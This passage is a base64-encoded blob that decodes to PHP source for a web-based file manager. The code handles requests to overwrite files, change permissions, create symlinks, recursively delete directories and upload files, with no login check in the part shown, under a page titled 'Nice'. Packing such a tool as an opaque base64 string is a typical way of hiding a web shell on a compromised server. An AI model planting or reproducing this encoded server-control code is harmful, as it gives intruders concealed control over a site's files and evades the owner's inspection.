XSkpIHsKCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7CgkJaWYgKHN1YnN0cigkZGVzdCwgLTEsIDEpID09ICRkZWxpbSkgJGRlc3QgLj0gYmFzZW5hbWUoJGZpbGUpOwoJCWlmICghZW1wdHkoJF9QT1NUWydyZWxhdGl2ZSddKSkgJGZpbGUgPSBhYnNvbHV0ZTJyZWxhdGl2ZShhZGRzbGFzaChkaXJuYW1lKCRkZXN0KSksICRmaWxlKTsKCQlpZiAoIUBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQHN5bWxpbmsoJGZpbGUsICRkZXN0KSkgewoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQl9Cgl9IGVsc2UgewoJCWh0bWxfaGVhZGVyKCk7CgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImRpYWxvZyIgaWQ9InN5bWxpbmsiPgo8dHI+Cgk8dGQgc3R5bGU9InZlcnRpY2FsLWFsaWduOiB0b3AiPicgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzogPC90ZD4KCTx0ZD4KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPgoJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVsYXRpdmUiIHZhbHVlPSJ5ZXMiIGlkPSJjaGVja2JveF9yZWxhdGl2ZSIgY2hlY2tlZD0iY2hlY2tlZCIgc3R5bGU9Im1hcmdpbi10b3A6IDFleCIgLz4KCQk8bGFiZWwgZm9yPSJjaGVja2JveF9yZWxhdGl2ZSI+JyAuIHdvcmQoJ3JlbGF0aXZlJykgLiAnPC9sYWJlbD4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3ltbGluayIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8L3RkPgo8L3RyPgo8dHI+Cgk8dGQ+JyAuIHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+Cgk8dGQ+CgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4KCTwvdGQ+CjwvdHI+CjwvdGFibGU+CjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgo8L2Zvcm0+Cic7CgkJaHRtbF9mb290ZXIoKTsKCX0KCWJyZWFrOwpjYXNlICdlZGl0JzoKCWlmICghZW1wdHkoJF9QT1NUWydzYXZlJ10pKSB7CgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRfUE9TVFsnY29udGVudCddKTsKCQlpZiAoKCRmID0gQGZvcGVuKCRmaWxlLCAndycpKSAmJiBAZndyaXRlKCRmLCAkY29udGVudCkgIT09IGZhbHNlICYmIEBmY2xvc2UoJGYpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3NhdmVkJywgJGZpbGUpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zYXZlZCcsICRmaWxlKSk7CgkJfQoJfSBlbHNlIHsKCQlpZiAoQGlzX3JlYWRhYmxlKCRmaWxlKSAmJiBAaXNfd3JpdGFibGUoJGZpbGUpKSB7CgkJCWVkaXQoJGZpbGUpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2VkaXRlZCcsICRmaWxlKSk7CgkJfQoJfQoJYnJlYWs7CmNhc2UgJ3Blcm1pc3Npb24nOgoJaWYgKCFlbXB0eSgkX1BPU1RbJ3NldCddKSkgewoJCSRtb2RlID0gMDsKCQlpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpICRtb2RlIHw9IDA0MDA7IGlmICghZW1wdHkoJF9QT1NUWyd1dyddKSkgJG1vZGUgfD0gMDIwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSAkbW9kZSB8PSAwMTAwOwoJCWlmICghZW1wdHkoJF9QT1NUWydnciddKSkgJG1vZGUgfD0gMDA0MDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSAkbW9kZSB8PSAwMDIwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3gnXSkpICRtb2RlIHw9IDAwMTA7CgkJaWYgKCFlbXB0eSgkX1BPU1RbJ29yJ10pKSAkbW9kZSB8PSAwMDA0OyBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpICRtb2RlIHw9IDAwMDI7IGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgJG1vZGUgfD0gMDAwMTsKCgkJaWYgKEBjaG1vZCgkZmlsZSwgJG1vZGUpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3Blcm1pc3Npb25fc2V0JywgJGZpbGUsIGRlY29jdCgkbW9kZSkpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ3Blcm1pc3Npb25fbm90X3NldCcsICRmaWxlLCBkZWNvY3QoJG1vZGUpKSk7CgkJfQoJfSBlbHNlIHsKCQlodG1sX2hlYWRlcigpOwoJCSRtb2RlID0gZmlsZXBlcm1zKCRmaWxlKTsKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cgk8cCBzdHlsZT0ibWFyZ2luOiAwIj4nIC4gcGhyYXNlKCdwZXJtaXNzaW9uX2ZvcicsICRmaWxlKSAuICc8L3A+Cgk8aHIgLz4KCTx0YWJsZSBpZD0icGVybWlzc2lvbiI+Cgk8dHI+CgkJPHRkPjwvdGQ+CgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBibGFjayI+JyAuIHdvcmQoJ293bmVyJykgLiAnPC90ZD4KCQk8dGQgc3R5bGU9ImJvcmRlci1yaWdodDogMXB4IHNvbGlkIGJsYWNrIj4nIC4gd29yZCgnZ3JvdXAnKSAuICc8L3RkPgoJCTx0ZD4nIC4gd29yZCgnb3RoZXInKSAuICc8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgncmVhZCcpIC4gJzo8L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InVyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDQwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwNDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDA0KSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnd3JpdGUnKSAuICc6PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1dyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAyMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3ciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDIwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMikgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ2V4ZWN1dGUnKSAuICc6PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1eCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAxMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDEwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im94IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCTwvdHI+Cgk8L3RhYmxlPgoJPGhyIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzZXQiIHZhbHVlPSInIC4gd29yZCgnc2V0JykgLiAnIiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icGVybWlzc2lvbiIgLz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPgo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KPC9mb3JtPgonOwoJCWh0bWxfZm9vdGVyKCk7Cgl9CglicmVhazsKZGVmYXVsdDoKCWxpc3RpbmdfcGFnZSgpOwp9CmZ1bmN0aW9uIGdldGxpc3QgKCRkaXJlY3RvcnkpIHsKCWdsb2JhbCAkZGVsaW0sICR3aW47CglpZiAoJGQgPSBAb3BlbmRpcigkZGlyZWN0b3J5KSkgewoJCXdoaWxlICgoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGQpKSAhPT0gZmFsc2UpIHsKCQkJJHBhdGggPSAkZGlyZWN0b3J5IC4gJGZpbGVuYW1lOwoJCQlpZiAoJHN0YXQgPSBAbHN0YXQoJHBhdGgpKSB7CgkJCQkkZmlsZSA9IGFycmF5KAoJCQkJCSdmaWxlbmFtZScgICAgPT4gJGZpbGVuYW1lLAoJCQkJCSdwYXRoJyAgICAgICAgPT4gJHBhdGgsCgkJCQkJJ2lzX2ZpbGUnICAgICA9PiBAaXNfZmlsZSgkcGF0aCksCgkJCQkJJ2lzX2RpcicgICAgICA9PiBAaXNfZGlyKCRwYXRoKSwKCQkJCQknaXNfbGluaycgICAgID0+IEBpc19saW5rKCRwYXRoKSwKCQkJCQknaXNfcmVhZGFibGUnID0+IEBpc19yZWFkYWJsZSgkcGF0aCksCgkJCQkJJ2lzX3dyaXRhYmxlJyA9PiBAaXNfd3JpdGFibGUoJHBhdGgpLAoJCQkJCSdzaXplJyAgICAgICAgPT4gJHN0YXRbJ3NpemUnXSwKCQkJCQkncGVybWlzc2lvbicgID0+ICRzdGF0Wydtb2RlJ10sCgkJCQkJJ293bmVyJyAgICAgICA9PiAkc3RhdFsndWlkJ10sCgkJCQkJJ2dyb3VwJyAgICAgICA9PiAkc3RhdFsnZ2lkJ10sCgkJCQkJJ210aW1lJyAgICAgICA9PiBAZmlsZW10aW1lKCRwYXRoKSwKCQkJCQknYXRpbWUnICAgICAgID0+IEBmaWxlYXRpbWUoJHBhdGgpLAoJCQkJCSdjdGltZScgICAgICAgPT4gQGZpbGVjdGltZSgkcGF0aCkKCQkJCSk7CgkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7CgkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBmaWxlX2V4aXN0cygkcGF0aCAuICRkZWxpbSAuICcuJyk7CgkJCQl9IGVsc2UgewoJCQkJCWlmICghJHdpbikgewoJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gQGlzX2V4ZWN1dGFibGUoJHBhdGgpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOwoJCQkJCX0KCQkJCX0KCQkJCWlmICgkZmlsZVsnaXNfbGluayddKSAkZmlsZVsndGFyZ2V0J10gPSBAcmVhZGxpbmsoJHBhdGgpOwoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgJGZpbGVbJ293bmVyX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRwd3VpZCgkZmlsZVsnb3duZXInXSkpOwoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgJGZpbGVbJ2dyb3VwX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRncmdpZCgkZmlsZVsnZ3JvdXAnXSkpOwoJCQkJJGZpbGVzW10gPSAkZmlsZTsKCQkJfQoJCX0KCQlyZXR1cm4gJGZpbGVzOwoJfSBlbHNlIHsKCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KZnVuY3Rpb24gc29ydGxpc3QgKCYkbGlzdCwgJGtleSwgJHJldmVyc2UpIHsKCXF1aWNrc29ydCgkbGlzdCwgMCwgc2l6ZW9mKCRsaXN0KSAtIDEsICRrZXkpOwoJaWYgKCRyZXZlcnNlKSAkbGlzdCA9IGFycmF5X3JldmVyc2UoJGxpc3QpOwp9CmZ1bmN0aW9uIHF1aWNrc29ydCAoJiRhcnJheSwgJGZpcnN0LCAkbGFzdCwgJGtleSkgewoJaWYgKCRmaXJzdCA8ICRsYXN0KSB7CgkJJGNtcCA9ICRhcnJheVtmbG9vcigoJGZpcnN0ICsgJGxhc3QpIC8gMildWyRrZXldOwoJCSRsID0gJGZpcnN0OwoJCSRyID0gJGxhc3Q7CgkJd2hpbGUgKCRsIDw9ICRyKSB7CgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwrKzsKCQkJd2hpbGUgKCRhcnJheVskcl1bJGtleV0gPiAkY21wKSAkci0tOwoJCQlpZiAoJGwgPD0gJHIpIHsKCQkJCSR0bXAgPSAkYXJyYXlbJGxdOwoJCQkJJGFycmF5WyRsXSA9ICRhcnJheVskcl07CgkJCQkkYXJyYXlbJHJdID0gJHRtcDsKCQkJCSRsKys7CgkJCQkkci0tOwoJCQl9CgkJfQoJCXF1aWNrc29ydCgkYXJyYXksICRmaXJzdCwgJHIsICRrZXkpOwoJCXF1aWNrc29ydCgkYXJyYXksICRsLCAkbGFzdCwgJGtleSk7Cgl9Cn0KZnVuY3Rpb24gcGVybWlzc2lvbl9vY3RhbDJzdHJpbmcgKCRtb2RlKSB7CglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7CgkJJHR5cGUgPSAncyc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7CgkJJHR5cGUgPSAnbCc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7CgkJJHR5cGUgPSAnLSc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7CgkJJHR5cGUgPSAnYic7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7CgkJJHR5cGUgPSAnZCc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7CgkJJHR5cGUgPSAnYyc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7CgkJJHR5cGUgPSAncCc7Cgl9IGVsc2UgewoJCSR0eXBlID0gJz8nOwoJfQoJJG93bmVyICA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lciAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7CglpZiAoJG1vZGUgJiAweDgwMCkgewoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAncycgOiAnUyc7Cgl9IGVsc2UgewoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7Cgl9CgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOwoJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsKCWlmICgkbW9kZSAmIDB4NDAwKSB7CgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsKCX0gZWxzZSB7CgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCX0KCSRvdGhlciAgPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7Cgkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwoJaWYgKCRtb2RlICYgMHgyMDApIHsKCQkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3QnIDogJ1QnOwoJfSBlbHNlIHsKCQkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOwoJfQoJcmV0dXJuICR0eXBlIC4gJG93bmVyIC4gJGdyb3VwIC4gJG90aGVyOwp9CmZ1bmN0aW9uIGlzX3NjcmlwdCAoJGZpbGVuYW1lKSB7CglyZXR1cm4gZXJlZygnXC5waHAkfFwucGhwMyR8XC5waHA0JHxcLnBocDUkJywgJGZpbGVuYW1lKTsKfQpmdW5jdGlvbiBnZXRtaW1ldHlwZSAoJGZpbGVuYW1lKSB7CglzdGF0aWMgJG1pbWVzID0gYXJyYXkoCgkJJ1wuanBnJHxcLmpwZWckJyAgPT4gJ2ltYWdlL2pwZWcnLAoJCSdcLmdpZiQnICAgICAgICAgID0+ICdpbWFnZS9naWYnLAoJCSdcLnBuZyQnICAgICAgICAgID0+ICdpbWFnZS9wbmcnLAoJCSdcLmh0bWwkfFwuaHRtbCQnID0+ICd0ZXh0L2h0bWwnLAoJCSdcLnR4dCR8XC5hc2MkJyAgID0+ICd0ZXh0L3BsYWluJywKCQknXC54bWwkfFwueHNsJCcgICA9PiAnYXBwbGljYXRpb24veG1sJywKCQknXC5wZGYkJyAgICAgICAgICA9PiAnYXBwbGljYXRpb24vcGRmJwoJKTsKCWZvcmVhY2ggKCRtaW1lcyBhcyAkcmVnZXggPT4gJG1pbWUpIHsKCQlpZiAoZXJlZ2koJHJlZ2V4LCAkZmlsZW5hbWUpKSByZXR1cm4gJG1pbWU7Cgl9CglyZXR1cm4gJ3RleHQvcGxhaW4nOwp9CmZ1bmN0aW9uIGRlbCAoJGZpbGUpIHsKCWdsb2JhbCAkZGVsaW07CglpZiAoIUBpc19saW5rKCRmaWxlKSAmJiAhZmlsZV9leGlzdHMoJGZpbGUpKSByZXR1cm4gZmFsc2U7CglpZiAoIUBpc19saW5rKCRmaWxlKSAmJiBAaXNfZGlyKCRmaWxlKSkgewoJCWlmICgkZGlyID0gQG9wZW5kaXIoJGZpbGUpKSB7CgkJCSRlcnJvciA9IGZhbHNlOwoJCQl3aGlsZSAoKCRmID0gcmVhZGRpcigkZGlyKSkgIT09IGZhbHNlKSB7CgkJCQlpZiAoJGYgIT0gJy4nICYmICRmICE9ICcuLicgJiYgIWRlbCgkZmlsZSAuICRkZWxpbSAuICRmKSkgewoJCQkJCSRlcnJvciA9IHRydWU7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoJGRpcik7CgkJCWlmICghJGVycm9yKSByZXR1cm4gQHJtZGlyKCRmaWxlKTsKCQkJcmV0dXJuICEkZXJyb3I7CgkJfSBlbHNlIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0gZWxzZSB7CgkJcmV0dXJuIEB1bmxpbmsoJGZpbGUpOwoJfQp9CmZ1bmN0aW9uIGFkZHNsYXNoICgkZGlyZWN0b3J5KSB7CglnbG9iYWwgJGRlbGltOwoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAtMSwgMSkgIT0gJGRlbGltKSB7CgkJcmV0dXJuICRkaXJlY3RvcnkgLiAkZGVsaW07Cgl9IGVsc2UgewoJCXJldHVybiAkZGlyZWN0b3J5OwoJfQp9CmZ1bmN0aW9uIHJlbGF0aXZlMmFic29sdXRlICgkc3RyaW5nLCAkZGlyZWN0b3J5KSB7CglpZiAocGF0aF9pc19yZWxhdGl2ZSgkc3RyaW5nKSkgewoJCXJldHVybiBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXJlY3RvcnkpIC4gJHN0cmluZyk7Cgl9IGVsc2UgewoJCXJldHVybiBzaW1wbGlmeV9wYXRoKCRzdHJpbmcpOwoJfQp9CmZ1bmN0aW9uIHBhdGhfaXNfcmVsYXRpdmUgKCRwYXRoKSB7CglnbG9iYWwgJHdpbjsKCWlmICgkd2luKSB7CgkJcmV0dXJuIChzdWJzdHIoJHBhdGgsIDEsIDEpICE9ICc6Jyk7Cgl9IGVsc2UgewoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOwoJfQp9CmZ1bmN0aW9uIGFic29sdXRlMnJlbGF0aXZlICgkZGlyZWN0b3J5LCAkdGFyZ2V0KSB7CglnbG9iYWwgJGRlbGltOwoJJHBhdGggPSAnJzsKCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsKCQlpZiAoJGRpcmVjdG9yeSA9PSBzdWJzdHIoJHRhcmdldCwgMCwgc3RybGVuKCRkaXJlY3RvcnkpKSkgewoJCQkkcGF0aCAuPSBzdWJzdHIoJHRhcmdldCwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJYnJlYWs7CgkJfSBlbHNlIHsKCQkJJHBhdGggLj0gJy4uJyAuICRkZWxpbTsKCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsKCQl9Cgl9CglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOwoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7CglnbG9iYWwgJGRlbGltOwoJaWYgKEBmaWxlX2V4aXN0cygkcGF0aCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdyZWFscGF0aCcpICYmIEByZWFscGF0aCgkcGF0aCkgIT0gJycpIHsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKTsKCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsKCQkJcmV0dXJuIGFkZHNsYXNoKCRwYXRoKTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gJHBhdGg7CgkJfQoJfQoJJHBhdHRlcm4gID0gJGRlbGltIC4gJy4nIC4gJGRlbGltOwoJaWYgKEBpc19kaXIoJHBhdGgpKSB7CgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7Cgl9Cgl3aGlsZSAoc3RycG9zKCRwYXRoLCAkcGF0dGVybikgIT09IGZhbHNlKSB7CgkJJHBhdGggPSBzdHJfcmVwbGFjZSgkcGF0dGVybiwgJGRlbGltLCAkcGF0aCk7Cgl9CgkkZSA9IGFkZHNsYXNoZXMoJGRlbGltKTsKCSRyZWdleCA9ICRlIC4gJygoXC5bXlwuJyAuICRlIC4gJ11bXicgLiAkZSAuICddKil8KFwuXC5bXicgLiAkZSAuICddKyl8KFteXC5dW14nIC4gJGUgLiAnXSopKScgLiAkZSAuICdcLlwuJyAuICRlOwoJd2hpbGUgKGVyZWcoJHJlZ2V4LCAkcGF0aCkpIHsKCQkkcGF0aCA9IGVyZWdfcmVwbGFjZSgkcmVnZXgsICRkZWxpbSwgJHBhdGgpOwoJfQoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGh1bWFuX2ZpbGVzaXplICgkZmlsZXNpemUpIHsKCSRzdWZmaWNlcyA9ICdrTUdUUEUnOwoJJG4gPSAwOwoJd2hpbGUgKCRmaWxlc2l6ZSA+PSAxMDAwKSB7CgkJJGZpbGVzaXplIC89IDEwMjQ7CgkJJG4rKzsKCX0KCSRmaWxlc2l6ZSA9IHJvdW5kKCRmaWxlc2l6ZSwgMyAtIHN0cnBvcygkZmlsZXNpemUsICcuJykpOwoJaWYgKHN0cnBvcygkZmlsZXNpemUsICcuJykgIT09IGZhbHNlKSB7CgkJd2hpbGUgKGluX2FycmF5KHN1YnN0cigkZmlsZXNpemUsIC0xLCAxKSwgYXJyYXkoJzAnLCAnLicpKSkgewoJCQkkZmlsZXNpemUgPSBzdWJzdHIoJGZpbGVzaXplLCAwLCBzdHJsZW4oJGZpbGVzaXplKSAtIDEpOwoJCX0KCX0KCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJzdHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsKCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOwp9CmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgewoJJHN0ciA9IHN0cmlwc2xhc2hlcygkc3RyKTsKfQpmdW5jdGlvbiBsaXN0aW5nX3BhZ2UgKCRtZXNzYWdlID0gbnVsbCkgewoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkc29ydCwgJHJldmVyc2U7CglodG1sX2hlYWRlcigpOwoJJGxpc3QgPSBnZXRsaXN0KCRkaXJlY3RvcnkpOwoJaWYgKGFycmF5X2tleV9leGlzdHMoJ3NvcnQnLCAkX0dFVCkpICRzb3J0ID0gJF9HRVRbJ3NvcnQnXTsgZWxzZSAkc29ydCA9ICdmaWxlbmFtZSc7CglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPSB0cnVlOyBlbHNlICRyZXZlcnNlID0gZmFsc2U7Cglzb3J0bGlzdCgkbGlzdCwgJHNvcnQsICRyZXZlcnNlKTsKCWVjaG8gJzxoMSBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMCI+TmljZTwvaDE+Cjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGlkPSJtYWluIj4KJzsKCWRpcmVjdG9yeV9jaG9pY2UoKTsKCWlmICghZW1wdHkoJG1lc3NhZ2UpKSB7CgkJc3BhY2VyKCk7CgkJZWNobyAkbWVzc2FnZTsKCX0KCWlmIChAaXNfd3JpdGFibGUoJGRpcmVjdG9yeSkpIHsKCQl1cGxvYWRfYm94KCk7CgkJY3JlYXRlX2JveCgpOwoJfSBlbHNlIHsKCQlzcGFjZXIoKTsKCX0KCWlmICgkbGlzdCkgewoJCWxpc3RpbmcoJGxpc3QpOwoJfSBlbHNlIHsKCQllY2hvIGVycm9yKCdub3RfcmVhZGFibGUnLCAkZGlyZWN0b3J5KTsKCX0KCWVjaG8gJzwvdGFibGU+CjwvZm9ybT4KJzsKCWh0bWxfZm9vdGVyKCk7Cn0KZnVuY3Rpb24gbGlzdGluZyAoJGxpc3QpIHsKCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwgJHNvcnQsICRyZXZlcnNlLCAkd2luLCAkY29sc